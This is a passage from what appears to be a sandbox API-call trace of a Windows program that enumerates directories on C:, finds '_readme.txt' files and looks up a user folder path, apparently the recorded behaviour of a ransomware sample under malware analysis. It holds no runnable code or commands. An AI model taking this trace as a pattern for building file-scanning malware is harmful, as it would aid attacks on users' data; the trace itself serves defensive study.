lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.424] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.424] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96f5ac30, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x96f5ac30, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x96f5ac30, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.424] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.424] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30950c0 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040428 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040b58 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040c98 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040ba8 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040d38 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040cc0 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380e8 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040450 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x308d780 | out: hHeap=0x5c0000) returned 1 [0124.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.425] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0x9799eb10, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x9799eb10, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x9799eb10, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0124.426] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0x9799eb10, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x9799eb10, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x9799eb10, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0124.426] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.426] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380e8 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.428] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.430] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.430] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.430] PathFindFileNameW (pszPath="") returned="" [0124.430] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.431] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.431] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") 